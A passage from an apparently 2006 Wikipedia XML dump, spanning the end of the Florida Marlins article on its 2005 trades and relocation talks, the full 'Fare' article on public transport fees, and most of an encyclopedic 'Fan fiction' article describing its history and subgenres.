On [[November 23]], the Mets and the Marlins agreed on a deal to move [[Carlos Delgado]] to the Mets for first baseman [[Mike Jacobs (baseball player)|Mike Jacobs]] and pitching prospect [[Yusmeiro Petit]]. Also, the Marlins would have to pay $7 million of Delgado's remaining contract.  When the deal was made official the next day, the Marlins also received minor-league infielder Grant Psomas.  According to the ''[[Fort Lauderdale Sun-Sentinel]]'', the Marlins passed up the Mets' offer to give them center fielder [[Lastings Milledge]], who was at the time ranked the Mets' top prospect according to [[Baseball America]]. [http://www.sun-sentinel.com/sports/sfl-marlspec24nov24,0,4180547.story?coll=sfla-sports-front]  Combined, the two trades allowed the Marlins to reduce their 2006 payroll by $27 million.

However, the Marlins were not yet done reducing payroll.  [[Paul Lo Duca]] was traded to the Mets for two players to be named later; these players turned out to be pitcher [[Gabriel Hernandez]] and outfielder [[Dante Brinkley]].  Longtime second baseman [[Luis Castillo]] was traded to the Twins for pitchers [[Travis Bowyer]] and [[Scott Tyler]], and [[Juan Pierre]] to the Cubs for pitchers [[Sergio Mitre]], [[Ricky Nolasco]], and [[Renyel Pinto]].  Of the seven players that the Marlins acquired in these three deals, only Mitre and Bowyer had any major-league experience when they came to the Marlins.

On [[December 6]], [[2005]], Marlins officials met with San Antonio city leaders, including Mayor [[Phil Hardberger]], and various city councilmen, concerning relocating the franchise to San Antonio.  Potential sites for a new stadium were toured, and San Antonio leaders discussed various proposals for funding and building a baseball only stadium.  City leaders stated they were confident funding could be arranged using hotel/motel taxes to fund the cities portion of the stadium.  Marlins officials stated at a press conference that they were serious about negotiations to relocate the franchise.  At Mayor Hardberger's annual state of the city address in Jan 06, he reiterated his desire to bring Major League baseball to San Antonio.

On [[January 9]], [[2006]], Marlins officials met with [[Portland, Oregon|Portland]] city leaders, including [[Mayor]] [[Tom Potter]].  Following the meeting, Mayor Potter announced that the city would not finance a baseball stadium, despite the [[Oregon]] Legislature's 2003 approval of a plan to finance a stadium.  Whether this has put Portland entirely out of the running is unclear.

On [[January 18]], [[2006]], Terrie Suit (R-[[Virginia Beach]]) submitted a bill to the [[Virginia]] legislature at the request of William Somerindyke Jr., who last year headed a group called Norfolk Major League Baseball Co. and led an effort to bring the [[Montreal Expos]] to [[Norfolk, Virginia|Norfolk]].  Somerindyke has been in contact with the Florida Marlins about moving to Norfolk.  Rep. Suit’s bill would require the state government to forward state taxes generated at a major-league sports facility to the city to pay off the arena or stadium debt. That would include income, sales and corporate taxes. The legislation is open to any jurisdiction in the state able to attract a major sports team. However, Norfolk is considered the likely site because of its position as the cultural and urban center of the state and its centrally located downtown.  Land for the new stadium is already owned by the city, adjoins the current [[Harbor Park]] stadium (home to NY [[Mets]] AAA-affiliate [[Norfolk Tides]]) and is located on the route of a planned commuter rail line.

Marlins officials also plan to meet with civic leaders in [[Charlotte]] about moving to that city; [[North Carolina]] is the largest state in the Union that does not have a baseball team either within or adjacent to its territory (even though the [[Atlanta Braves]] are the closest team to that state, and many of its residents are Braves fans).  Attorney Jerry Reese has proposed building a 38,000 seat baseball stadium downtown on the site of a current park that will include a retractable roof to use for large-scale events such as concerts and the [[Final Four]]; the stadium, if built, will be privately funded and will be the anchor for a redevelopment of the former [[African-American]] neighborhood of Brooklyn.  Initial response from local governmental officials have been positive, but no committment has been made as many feel that Charlotte does not have the necessary population to support Major League Baseball. 

Marlins officials will soon be meeting with New Jersey, Monterrey, Mexico and Las Vegas in the near future.  The state of Oklahoma has also expressed their interest in hosting the Marlins, based on [[Oklahoma City, Oklahoma|Oklahoma City]]'s successes temporarily hosting the [[New Orleans/Oklahoma City Hornets|New Orleans Hornets]] [[NBA]] team. [http://www.orlandosentinel.com/sports/local/sfl-marokl021606,0,1855623.story?coll=orl-sports-headlines]

According to a March 2, 2006 report by the Miami Herald, the Marlins are focused on relocation to San Antonio.  According to the published report, there are ongoing serious discussions 3-4 times per week between San Antonio and Marlins officials, and relocation efforts at this point are focused on San Antonio, Texas.  Marlins officials expect to visit San Antonio for a second time in the near future.  Marlins President David Samson said the Marlins are ''very encouraged'' about how aggressively San Antonio is pursuing the Marlins and that the city is ''under very serious consideration.'' http://www.miami.com/mld/miamiherald/sports/baseball/13995528.htm

Accoring to a March 3, 2006 San Antonio Express News report, San Antonio officials will present the Marlins with a stadium financing plan in San Antonio, using a combination of public and private funding, similar to what was used to build the AT&amp;T Center for the San Antonio Spurs. http://www.mysanantonio.com/news/metro/stories/MYSA030306.01A.San_Antonio_Marlins.1d1b9942.html

==Quick facts==
:'''Founded''': [[1993]] ([[National League]] expansion)
:'''Current Home Stadium''': [[Dolphins Stadium]]
:'''Uniform colors''': Black, Gray, Teal, and White; some Orange
:'''Logo design''': Circle design with &quot;FLORIDA&quot; and &quot;MARLINS&quot; written around it; a [[marlin]] jumping through the circle and a baseball in the background.
:'''[[Cable television]] Network''': Fox Sports Net Florida (FSN Florida) is the Florida Marlins home television channel. [[PAX]] also shows Marlin games sometimes. The FSN Florida slogan is &quot;Get Hooked&quot; (only for the Marlins).
:'''Playoff appearances''' (2): [[1997]], [[2003]]
:'''World Series appearances''' (2): [[1997]], [[2003]]
:Official Television Stations: [[FSN]](Florida),[[PAX]] In 2006 all Marlins games will be on FSN Florida except for ones on [[Fox Broadcasting Company|FOX]] and [[ESPN]] 
:Official Radio Stations: WQAM (560)

Though the Marlins have never won a division title, they have also never lost a playoff series in their history (a perfect 6-0).

On November 22, after not being able to get a stadium deal in the city of Miami, it was announced that the team had the permission of Major League Baseball to explore relocation as an option if a retractable-roof stadium deal is not reached in south Florida.

==[[Baseball Hall of Fame]]rs==
* 24 [[Tony Pérez]], Manager 2001

==Retired Number==
* 5 [[Carl Barger]], team President who died just prior to start of first season

==Current roster==
{{:Florida Marlins roster}}

==Minor league affiliations==
*'''AAA:''' [[Albuquerque Isotopes]], [[Pacific Coast League]]
*'''AA:''' [[Carolina Mudcats]], [[Southern League]]
*'''Advanced A:''' [[Jupiter Hammerheads]], [[Florida State League]]
*'''A:''' [[Greensboro Grasshoppers]], [[South Atlantic League]]
*'''Short A:''' [[Jamestown Jammers]], [[New York-Penn League]]
*'''Rookie:''' [[GCL Marlins]], [[Gulf Coast League]]
*'''Rookie:''' [[VSL Marlins]] Universidad, [[Venezuelan Summer League]]

==See also==
*[[Florida Marlins/Award winners and league leaders|Marlins award winners and league leaders]]
*[[Florida Marlins/Team records|Marlins statistical records and milestone achievements]]
*[[Florida Marlins/Players of note|Marlins players of note]]
*[[Florida Marlins/Broadcasters|Marlins broadcasters and media]]
*[[Florida Marlins/Managers and ownership|Marlins managers and ownership]]

==External links==
* [http://florida.marlins.mlb.com/NASApp/mlb/fla/homepage/fla_homepage.jsp Florida Marlins official web site]
* [http://www.baseball-reference.com Baseball-Reference.com]

{{MLB}}

[[Category:Florida Marlins| ]]
[[Category:Major League Baseball teams]]

[[de:Florida Marlins]]
[[es:Florida Marlins]]
[[fr:Marlins de la Floride]]
[[ko:플로리다 마린즈]]
[[it:Florida Marlins]]
[[ja:フロリダ・マーリンズ]]
[[pt:Florida Marlins]]
[[sv:Florida Marlins]]
[[zh:佛羅里達馬林魚]]</text>
    </revision>
  </page>
  <page>
    <title>Fare</title>
    <id>11279</id>
    <revision>
      <id>41546141</id>
      <timestamp>2006-02-28T01:49:07Z</timestamp>
      <contributor>
        <username>Traal</username>
        <id>15785</id>
      </contributor>
      <text xml:space="preserve">A '''fare''' is the [[fee]] paid by a traveller allowing him or her to make use of a [[public transport]] system: [[Rail transport|rail]], [[bus]], [[Taxicab|taxi]], etc. In the case of [[airline|air]] transport, the term ''airfare'' is often used.

The fare paid is a contribution to the operational costs of the transport system involved, either partial (as is frequently the case with publicly supported systems) or total.  Many bus and rail systems in the [[United States]] recover only around one-third of their operational costs from fares (the [[farebox recovery ratio]]).

The rules regarding how and when fares are to be paid and for how long they remain valid are many and varied.  Rail and bus systems usually require the payment of fares on or before boarding. In the case of taxis and other [[vehicle for hire|vehicles for hire]], payment is normally made at the end of the ride.

Some systems allow [[fare transfer]]s: that is to say that a single payment permits travel within a particular geographical zone or time period. Such an arrangement is helpful for people who need to transfer from one route to another in order to reach their destination. Sometimes transfers are valid in one direction only, requiring a new fare to be paid for the return trip.

In the [[United Kingdom]] certain [[List of companies operating trains in the United Kingdom|Train Operating Companies]], such as [[South West Trains]] and [[Southern (train operating company)|Southern]], have Revenue Protection Inspectors who can issue penalty fares to passengers who travel without a valid ticket. This is currently a minimum of £20 or twice the single fare for the journey made.

==Sample fares==

[[Minneapolis]]:
6-hour fare (Bus/Light Rail): $3.00

[[New York City]]:
[[MTA New York City Transit|New York City Subways and Buses]]: $2.00, flat fare covers the entire system

==See also==
*[[:Category:Fare collection systems]]
* [[Public transport#Ticket systems]]
* [[Ticket#Admission]]
* [[Toll road]]
* [[Toll bridge]]

[[Category:Transportation]]
[[Category:Public transport]]
[[Category:Pricing]]</text>
    </revision>
  </page>
  <page>
    <title>Fan fiction</title>
    <id>11280</id>
    <revision>
      <id>42039304</id>
      <timestamp>2006-03-03T11:07:23Z</timestamp>
      <contributor>
        <ip>203.164.144.154</ip>
      </contributor>
      <comment>/* Drabble */</comment>
      <text xml:space="preserve">{{cleanup-date|January 2006}}
'''Fan fiction''' (also spelled '''fanfiction''' and commonly abbreviated to '''fanfic''' or '''fic''' when used in a singular sense) is [[fiction]] written by people who enjoy a [[film]], [[novel]], [[television programs|television show]] or other media work, using the characters and situations developed in it and developing new plots in which to use these characters. Characters and props from more than one media work may also be incorporated into a single fanfiction (known as [[#Crossover|crossovers]]). It should be noted that in the pre-1965 era, the term '''fan fiction''' was used in [[science fiction fandom]] to designate [[science fiction]] written by members of [[science fiction fandom|fandom]] and published in [[science fiction fanzine|fanzine]]s, as opposed to fiction that was professionally published. This usage is now obsolete.

==History==
There are three theories in the fan fiction community as to when fan fiction first started.  These definitions tend to be based on how the individual members of the fan fiction community define fan fiction.  One theory holds that fan fiction has always been with us, dating back to the tradition of oral story telling.  Another theory holds that fan fiction could not exist until the creation of copyright law as fan fiction is about reinterpreting officially sanctioned texts and reinventing them for the fan's own needs.  As such, fan fiction cannot exist until the first copyright law, which went on the books in 1620 in England.  The third theory holds that fan fiction did not officially start until the creation of Star Trek fandom and the printing of original stories by fans in their own fanzines.  This theory acknowledges that much of the groundwork was laid by the science fiction fandom.  Using this last theory of when fan fiction started, pastiche traditions al la Sherlock Holmes and Real Person Fic are not part of the fan fiction community because of vastly differing cultural practices.

Some suggest that written fan fiction dates back to Biblical times. An early example is the [[Infancy Gospel of Thomas]], a series of improbable tales about the Christ Child. While he is shown doing the occasional kindness to others, for the most part he is portrayed as a superpowered brat, whose mother Mary stands up for him with other people, while St. Joseph is a clumsy bumbler.

[[Charlotte Brontë]] and her siblings wrote copious short stories, novellas, poems and plays in a fantasy-adventure genre. The stories are fan fiction about an actual person, the [[Duke of Wellington]], and his sons. Later stories take off wildly into melodramatic romance and the Duke's elder son Arthur becomes a figure of almost supernatural charisma.

Fans of [[Sherlock Holmes]] in the early part of the 20th century called themselves the [[Baker Street Irregulars]]. They write original stories and articles analyzing his life and work, taken from the perspective that Holmes was real. It was the Irregulars who gave the name [[canon (fiction)|canon]] to the officially recognized body of work from which they inspire themselves. At this time, the genre was generally referred to as [[pastiche]]. After the death of [[Arthur Conan Doyle]], his son Adrian collaborated with [[John Dickson Carr]], in creating new Holmes adventures. Many novels of Holmes adventures never dreamt of by Doyle have been written and professionally published.

Modern fan fiction probably originated with ''[[Star Trek]]'' fandom which in turn inherited many of its practices from science fiction fandom. The first known published Star Trek [[fanzine]] is ''Spockanalia'', published in [[1967]]. This community popularized many traditions from the science fiction community that are still in place today, including the concepts of crossovers, zine culture and public feedback. They also originated the idea of the [[Mary Sue]] or annoying wish-fantasy character who appears in some juvenile fan fiction.
		 
Other fandoms were active in the same period as ''Star Trek'', including ''[[The Lord of the Rings]]'', ''[[The Prisoner]]'',  ''[[Mission: Impossible]]'', ''[[Doctor Who]]'', and ''[[The Man from U.N.C.L.E.]]''

Fan fiction has become much more widespread on the [[Internet]], where it flourishes despite the possibility that it infringes the [[copyright]] of the film, book, TV show, or other media on which it is based. The Internet has widened the scope considerably, allowing many more people than previously possible to share and critique fanfiction. Even a few of the authors of the original works on which the fan fiction is based may be among the readers.

Archives of stories have grown in the web environment.  Some, like [[FanFiction.Net]], have millions of stories - all carefully organised and crossindexed, and freely available. The web has also encouraged events like annual awards, competitions and even conferences all based around fan fiction.	 
 
Major genres of fan fiction include those based on: Japanese [[anime]]/[[manga]] series; the book series [[Animorphs]] by [[K. A. Applegate]], [[J.K. Rowling]]'s ''[[Harry Potter]]'' series; [[J.R.R. Tolkien]]'s ''[[The Lord of the Rings]]''; [[science fiction]] serials (both on television and in film); other serial television (dramatic and even comedic); American [[cartoon]] series as well as comics published by both [[DC Comics]] and [[Marvel Comics]]. Popular television series which have inspired fanfic include ''[[Xena: Warrior Princess]]'', ''[[Star Trek]]'', ''[[Starsky and Hutch]]'', ''[[The X-Files]]'' and ''[[Buffy the Vampire Slayer]]''.  Even video games, such as the ''[[Final Fantasy]]'' and ''[[Street Fighter]]'' series, have become sources. It is also relevant to consider the formalised ''shared universe'' where the originating author actively encourages others to contribute to the development of the whole. Besides the Baker Street Irregulars, the most consistent and long-running shared universe has been [[H.P. Lovecraft]]'s [[Cthulhu Mythos]] which has seen both professional and fan contributions for more than fifty years.	 

Some writers of essays about fan fiction (usually writers of fan fiction themselves) suggest that fan fiction is simply a new incarnation of amateur storytelling: amateur storytellers are still making up new stories about their favorite characters for &quot;amateur,&quot; uncritical audiences, but now those characters are [[Draco Malfoy]] and [[Sailor Moon]] instead of [[Brer Rabbit]] and [[Hercules]]. That some cultures now view such storytelling as unusual and possibly illegal, and that professional storytellers now have much higher status and control, are considered inessential by proponents of the viewpoint. They consider modern fan fiction to be similar to a garage band: not quite a contribution to professional literature or music (although certainly a reflection of it), but a creative, devoted method of enjoyment.

==Types of Fanfiction==
===Dōjinshi===
''Main article: [[Dōjinshi]]''

Japanese [[manga]] fan fiction are known as [[dōjinshi]]. These are self-published [[Japan|Japanese]] works most commonly in the form of [[comic books]] ([[manga]]), [[novels]], fan guides, art collections, and [[games]].

===Mary Sue===
''Main article: [[Mary Sue]]''

Some fanfiction falls into the category of [[Mary Sue fanfiction|Mary Sue]] fantasies, in which a new &quot;flawless&quot; character enters the story and goes on to upstage the established characters. Often the Mary Sue represents an idealized [[author character]]. A Mary Sue can also be a character who, as well as being idealized, also becomes the character upon whom the central characters in canon become dependent. While the Mary Sue style of writing has some fans, it's generally frowned upon. The male form is 'Gary Stu', 'Larry Stu', 'Marty Sam', or 'Marty Stu'.

===Self-Insert===
''See also: [[Author character]]''

A sub-genre of fiction in which an author pens himself or herself into the fiction as an [[author character]]. According to detractors, the author becomes a [[Mary Sue fanfiction|Mary Sue]]: flawless, omnipotent, and unable to make mistakes. In some stories, however, an author will make himself or herself more subject to human flaw. Author characters in comedic stories often retain their omnipotence, but are sometimes depicted as being anywhere from amusingly eccentric to outright insane. Many examples of this sort exist.

There are also some stories where the author hi-jacks the mind of one of the characters in the original work. These are notably different from other Self-Inserts in that they are limited to the abilities of that character as according to [[canon (fiction)|canon]] (and quite possibly [[fanon (fiction)|fanon]]). Though they invariably retain the authors pre-existing knowledge of the series. Most of the time, these Self-Insert hybrids develop into beings of God-like power before the story runs its full course. Some examples are [http://www.asynjor.com/fanfic/danna.html Carrot Glaces Insertion] or earlier [http://www.asynjor.com/fanfic/danna.html Spirit Within] and [http://www.bladeandepsilon.com/hybridtheory.htm Blade and Epsilons Hybrid Theory].

===OC===

OC stands for &quot;Original Character&quot;, and is quite simply a character that does not appear in the medium being written about. Closely related to the self-insert or Mary-Sue, OCs are often made to appeal to a certain character in particular. OCs are almost never fully developed. For example, their motives, personality and desires may be expressed, but not their background. Having an OC play a central part in a story may cause them to be unfairly designated a Mary-Sue, although there are examples of very well-developed OCs. Because of this, most authors write their OCs as secondary supporting characters. OCs are often killed off in stories, as this not only creates drama, but does so without the cost of a major character. If a character is called to die, the death of a major character would be a large blow to the overall plotline. The death of a character that is not well-known also creates drama, but leaves all major characters alive.

===Crossover===
Another fan fiction sub-genre is the '''crossover story''' where characters of different media franchises interact.  An example would be the human refugee fleet led by the [[Battlestar Galactica]] finding and entering the territory of ''[[Star Trek]]''&lt;nowiki&gt;'&lt;/nowiki&gt;s [[United Federation of Planets]].  In fan fiction of animated series, one of the more popular crossover situations is a combination of ''[[Pokémon]]'' and ''[[Digimon]]''.  This is common because both series share similar traits: they are [[anime]] cartoons, their main characters are groups of children, and the children command monsters to fight each other in battle. Other common crossovers are between sources in similar settings, such as the two space-based television shows   ''[[Babylon 5]]'' and ''[[Star Trek]]''; between two sources created by the same writing staff, such as ''[[Buffy the Vampire Slayer]]'' and ''[[Firefly (TV series)|Firefly]]''; or between two sources which share common actors, such as ''[[Smallville (TV series)|Smallville]]'' and the ''[[Dukes of Hazzard]]'' (both of which feature [[John Schneider (television actor)|John Schneider]]).  At times, however, a fan fiction author will attempt a crossover between sources or characters which have practically ''nothing'' in common. Another popular way of generating the crossover is to reveal that two main characters in two different mediums are connected- one may be the reincarnation of another, they may be distant relatives, or past friends who grew apart. The crossover genre has the stigma of being one of the most poorly written story concepts.

===Alternate Pairings===

Pairings refers to two characters who are romantically involved. An alternate pairing is a pairing between two characters who are typically not involved in the canon. Many fandoms have defined pairings in that it is often obvious what characters would become couples. Alternate pairings often experiment with love triangles, with three characters being involved lovingly in some form or another.

For example, two best friends loving the same woman. Starfire and Robin are often regarded as a canon pairing, due to the fact that they were together in the [[Titans (comics)|Teen Titans]] comics and show a strong love for each other in the show, although they do not admit it. But many Teen Titans fans believe Raven and Robin share a deep passion for each other. For an alternate pairing to occur, one of the members of the canon pairing would either need to be alternately paired, killed off in some way, or would betray their partner and become a villain. In the above example, if Starfire were to die, Robin would become depressed and seek comfort in (the usually moody and despondent) Raven. This kind of alternate pairing is typical of the modern term 'rebound', in which one of the characters, Robin in this example, does not truly love Raven and is only with her for comfort. Almost inevitably, in alternate pairing fanfiction, these rebound feelings grow into true love, and Robin will discover he loves Raven even more then he ever loved Starfire.

A fandom with many alternate pairings is the anime [[InuYasha]], largely due to the tangled nature of the characters' love lives in the canon. 

====Slash====
Slash is a subgenre of the Alternate Pairings paradigm that addresses a relationship (or [[Shipping (fandom)|&quot;ship&quot;]]) between characters of the same gender. The expression comes from the use of the &quot;/&quot; symbol to designate, for example, a [[James T. Kirk|Kirk]]/[[Mr. Spock|Spock]] romance (rather than friendship fic, which used an ampersand &quot;&amp;&quot;) in the very early days of ''[[Star Trek]]'' fanzines. Stories with male/male parings are the most common. &quot;Femmeslash&quot; (also commonly spelt &quot;Femslash&quot;) designates more specifically stories centered on a lesbian relationship, though some homosexual female fan writers now prefer the term &quot;Saffic&quot; (from '[[Sapphic]]' and '[[Fiction]]') for their romantic or erotic fiction, as they feel that the word &quot;femmeslash&quot; makes female/female fiction into a special case of male/male. Slash fiction varies from innocent romance to explicit erotica.

Some hold the opinion that a homoerotic or homoromantic fan fiction story is only slash if it is a non-canon pairing and neither character is canonically homo- or bisexual.

''See also: [[Shipping (fandom)]], [[Shōnen-ai]], [[Yaoi]], [[Yuri (animation)]]''

===Songfic===
''Main article: [[Songfic]]''

A songfic is a story, often a [[one-shot]] (a fanfic with only one chapter), where the lyrics to a song, or sometimes a poem, are included in the body of the writing, and in someway are connected to the story. For example, characters may be performing the actions described in the song, or going through the emotions described in the song. The lyrics may be used to reveal a depth to the character, or explain complex emotions. Other times it is used merely to set the general mood for the story.  In some fandoms, especially ones inspired by printed, literary fiction, songfics are critically unpopular (much like Mary Sues). However, other fandoms, especially those inspired by fiction which normally attracts a teenage audience (such as TV teen dramas, like [[The OC]] or [[One Tree Hill]] etc.), accept songfics completely and are at times vastly popular in that fandom.


===Het===
&quot;Het&quot; classifies a story which has as its main focus a relationship ([[Shipping (fandom)|&quot;ship&quot;]]) between two characters of different genders. The expression is derived from the word &quot;heterosexual&quot; and is used in contrast to [[slash fiction]] and gen(eral). Het varies from innocent romance to explicit erotica.

''See also: [[Shipping (fandom)]]''

===Lemon and lime===
Explicit sex stories, especially in anime fan fiction, are known as [[lemon (anime)|lemon]]. [[Lime (anime)|Lime]] is a moderated version of the lemon, sexual but not necessarily explicit. Lemons without much plot other than sex are also referred to as smutfics or [[PWP (fanfiction)|PWP]]s (&quot;Porn Without Plot&quot; or &quot;Plot? What Plot?&quot;).



===Virtual seasons===
''Main article: [[Virtual season]]''

Since television is responsible for a large part of fanfiction, it's no surprise that people have also written [[virtual season]]s on their favorite shows. In this instance, multiple fanfiction writers will usually come together to produce a compilation of original fanfiction stories. Often, these writers and enthusiasts will elect among themselves [[Television producer|producer]]s, [[head writer]]s, [[editor]]s, and other traditional roles to aid in the coordination of the virtual season's material, direction, and continuity.

===Alternative universe===
''Main article: [[Alternative universe (fan fiction)]]''

If a ''fanfiction'' story at some point completely changes the original's [[Canon (fiction)|canonical]] storyline or premise (such as killing-off the main character, changing characters' motives or alliances, changing the setting, and so forth), it is known as an [[alternative universe (fan fiction)|alternative universe]] fan fiction, or ''''AU'''' for short. &quot;Minor changes&quot; to characters, like personality (in particular mental and emotional changes) are not considered an alternate universe in themselves; instead these changes are called [[out of character]], or ''''OOC'''' fanfiction. Generally, to be considered an ''alternative universe'' story, the change must be extremely improbable to ever happen within the canon, or must be contradicted by new canon information that was not released when the fic was first written.  An example of the former might involve a character becoming a rock star (in a story where such would be very unlikely). An example of the latter is writing a fanfic sequel which includes characters who are killed off in later canon installments of a series. Fan fiction is limited only by the author's imaginations. Draco Malfoy might find himself as a private detective in Los Angeles, hired by Harry Potter. Buffy might end up as a soap opera actress in Prague. Billy and Mandy might change personalities. [[Invader Zim|Zim]] could be the Almighty Tallest.

===Continuation===
''Continuation'' is when fanfiction is created after a series has finished, with the series being a television series ([[series finale]]), a cinematic trilogy, a series novel, and so forth (although the series' [[spin off (television)|spin off]]s and other franchises may continue). The ''continuation'' fanfiction then creates tangential storylines with the characters, or may elaborate on perceived incomplete storylines from the discontinued ''canon'' of the series.

===Real person fiction===
''Main article: [[Real person fiction]]''

[[Real person fiction]] is a type of fanfiction written about real people such as actors, politicians, athletes and musicians. [[FanFiction.Net]] was once the largest archive of this subgenre on the internet. On [[September 12]], [[2002]], they enacted a policy change which eliminated most real person fiction from the site.  The site still accepts real person fiction in several categories including the [[Christian Bible]], [[Diary of Anne Frank]] and ''[[Celebrity Deathmatch]]''.  As a result of [[FanFiction.Net]]'s policy changes, several different tools were used by the fannish community to archive real person fiction. These sites include  [[FanDomination.Net]], [[LiveJournal]], [[Soup Fiction]], [[AdultFanFiction.Net]], [[EFanFiction.Net]] and [[FanWorks.Org]]. ( [[Fanartcentral.Net]] has a small collection of fanfic as well.)

===Original fanfiction===
It is worth noting that there is no such thing as an &quot;original fanfic&quot;. The term is a [[misnomer]] that is sometimes applied to completely original works published online. It is inaccurate, however, because the work is not intentionally based on any previously existing story and is therefore not fanfiction.  Not all amateur fiction is fan fiction, regardless of the fact that the popular site [[FanFiction.Net]] once had a section of original works (which has since been moved to [[FictionPress]]). Among [[anime]]/[[manga]] fans, 'original fanfic' is used to refer to an original work that borrows heavily from anime/manga themes and plot devices, and is often set in [[Japan]], with the characters having Japanese names.  In other forms, original fanfiction commonly refers to a story which takes place in an established universe, such as ''Star Wars'' or ''Lord of the Rings'', but uses none of the characters. Note, however, that some fanfiction authors at times publish a piece of fiction they have titled 'Original Fanfiction'; this mostly derives from the concept that these works, conceptually independent, have a (normally small) reference to some fandom (i.e., a normal dramatic [[romance]] story which starts with a character taking a train at [[Kings Cross railway station|King's Cross Station]] in [[London]], the [[United Kingdom]] can be considered as an 'Original Fanfiction' in the ''[[Harry Potter]]'' fandom).

===&quot;Über&quot; Fanfiction===
''Main article: [[Überfic]]''

Similar to &quot;original fanfic&quot;, &quot;Uber&quot; stories originated within and are still most common among the ''[[Xena]]'' fan fiction community. In recent years, the Über trend has spread to other fanfic communities, most notably the ''[[Star Trek]]'', ''[[Harry Potter]]'' and ''[[InuYasha]]'' communiites.

A typical Xena Über story is generally romantic or erotic in theme, and features characters with the ''appearance'' of the central duo of Xena and Gabrielle, but placed in contemporary settings, with different backgrounds, names, personalities, etc. Über stories rarely make any specific mention of or allusion to anything within the ''Xena'' canon but instead, center around the duo's relationship as perceived by the Xena fan community. There are many Über stories with reincarnation as part of the theme and most Über stories contain a sense of repeated destiny regarding the duo's relationship.

Outside Xena fandom, Über stories are also referred to as &quot;AU,&quot; short for &quot;alternate universe&quot; or &quot;another universe.&quot; As explained above, AU authors only use the characters and their relationships (sometimes not even that) and place them in totally new backgrounds. Though some old characteristics of the character may stay behind, usually their entire background is changed.

===Fanfic as pastiche===
There is also fan fiction in the form of independent, fan-produced [[pastiche]]s and [[parody|parodies]] of established works, including [[film]] and [[video]]. One of the best known is ''[[Troops (film)|Troops]]'', a parody of the [[reality television]] show ''[[Cops (television)|Cops]]'' starring ''[[Star Wars]]'' [[Imperial Stormtrooper]]s on patrol. Another lesser known film is ''Batman: Dead End'', by Sandy Collora. It's small, but creates an interesting scenario between [[Batman]] and the Joker, not to mention a crossover with two of the most unlikely series ever.

[[Sherlock Holmes]] and [[Edgar Rice Burroughs]] both have fan fiction pastiche communities.  This tradition comes from the establishment of literary societies, dating back to the 1930s and 1940s.  These societies attracted both professional and fan writers.  They practice a semi-professional level of publication of fan fiction of a higher literary nature, both in print quality, community expectations and orientation.

===Hatefics===
Occasionally one may see stories in fanfic sites that do not fit the normal definition of fan fiction because they are not written by people who are fans of their subject matter; rather, they are written to ridicule the subject by somebody who dislikes the characters featured in the story.  The act of ridiculing or mocking a story's characters is often called &quot;bashing&quot;.  There does not seem to be an established term for such stories.  An example would be a ''[[Lizzie McGuire]]'' fanfic story that has as its description &quot;Why Lizzie is a Dumb Blonde&quot;.  A subcategory is the &quot;character-bashing&quot; fic, devoted to a negative (and often grotesquely [[out of character]]) portrayal of a single character whom the author dislikes or resents:  for instance, a [[Lord of the Rings]] fanfic in which King [[Aragorn]] desperately searches for a way to escape his nagging, vicious, vindictive harpy of a wife, [[Arwen]].

Another variant on this is the 'Anti-Fic', where the character(s) that the author dislikes are killed and/or maimed. While character death is often a part or sub-genre of Fanfic, in an Anti-Fic the deaths exist only so the author can express their dislike of the characters.

Note that not all deaths are intended to express hatred to a certain character by an author, as there are occasions where an author will &quot;kill&quot; a character that they favour in order to gain sympathy from the audience.

Also note that some hatefics are intended to express dislike to the entire fandom using any means, including the character death mentioned above. For example, a person who believes that the [[Harry Potter]] series promotes the [[occult]] will write a hatefic in which the characters promote the occult.

===Webseries===
There are also fan-made [[machinima]] webseries such as ''[[Red vs Blue]]'', which is based on the ''[[Halo (video game series)|Halo]]'' and ''[[Halo 2]]'' video game series.

===Extending the canon===
Some invented facts or situations are used so frequently in fan fiction, that despite not being part of the original product, they are seen by fans as part of the canon. This is sometimes described as ''[[Fanon (fiction)|Fanon]]''.

===MSTings===
''Main article: [[MSTing]]''

[[MSTing]]s (Sometimes called MiSTings) are fanfics written in the style of the television show [[Mystery Science Theater 3000]]. They are not fanfics in the usual sense due to the nature of the show they are based on. The simplified premise of the show is that a man and some homemade robots trapped on a spaceship watch a bad movie sent to them by a mad scientist who tries to take over the world. The viewer sees the silhouettes of the movie's trapped audience making humorous comments over the film. For MSTings, instead of bad movies, the source is generally bad fan fiction, though other kinds of text have been used such as rants taken off USENET or e-mail spam. The jokes are generally pop culture references, but some are &quot;observational riffs&quot; that point out the flaws of the fanfic such as bad continuity, poor spelling and bad grammar, and in the case of screeds or rants, logical fallacies, straw man arguments, and ad-hominem attacks. &quot;Observational riffs&quot; are discouraged by some fans, but are nonetheless popular. A relatively well-known MSTing is one written by [[Adam Cadre]] concerning an original sword-and-sorcery fantasy, [[The Eye Of Argon]] by Jim Theis. Recently, the term [[MSTing]] is used to describe most forms of fanfiction mockeries (i.e. an author copying a fanfiction, and inserting jokes within it at the expense of the story used, differentiating the writer's comments with the story), and not just the MST3K-like premise of a cast of characters cracking jokes.

Generally speaking, MSTers follow a [http://www.svamcentral.org/ewic/docs/MSTing-FAQ.txt code of conduct], though some places such as [http://fandomination.net/ Fandomination.net] and [http://www.projectafter.com/ Project A.F.T.E.R.] have MSTings which clearly violate these &quot;rules.&quot; One of the least respected rules is that MSTing authors should always obtain permission from the author(s) of the fanfics that they are MSTing.

Fanfics starring the Mystery Science Theater 3000 characters in traditional narrative formats exist, but are in the minority.

Although MSTings originated as MST3K fanfics some people have used the MSTing format with an original cast instead of the MST3K characters. [http://www.dimfuture.net/elsewhere/mot.html Mystery Octagon Theater], [http://indiemadnesse.sandwich.net/ifroast/ifroast.htm ImproFicRoast], [http://www.geocities.com/TimesSquare/Realm/2628/elmer.htm Elmer Studios], and the [http://www.nancingpony.com/ Nancing Pony] (see [[Nancing Pony]]) are some of the more well known writers of Non-Standard MSTings, as they are called.

===Drabble===
''Main article: [[Drabble]]''

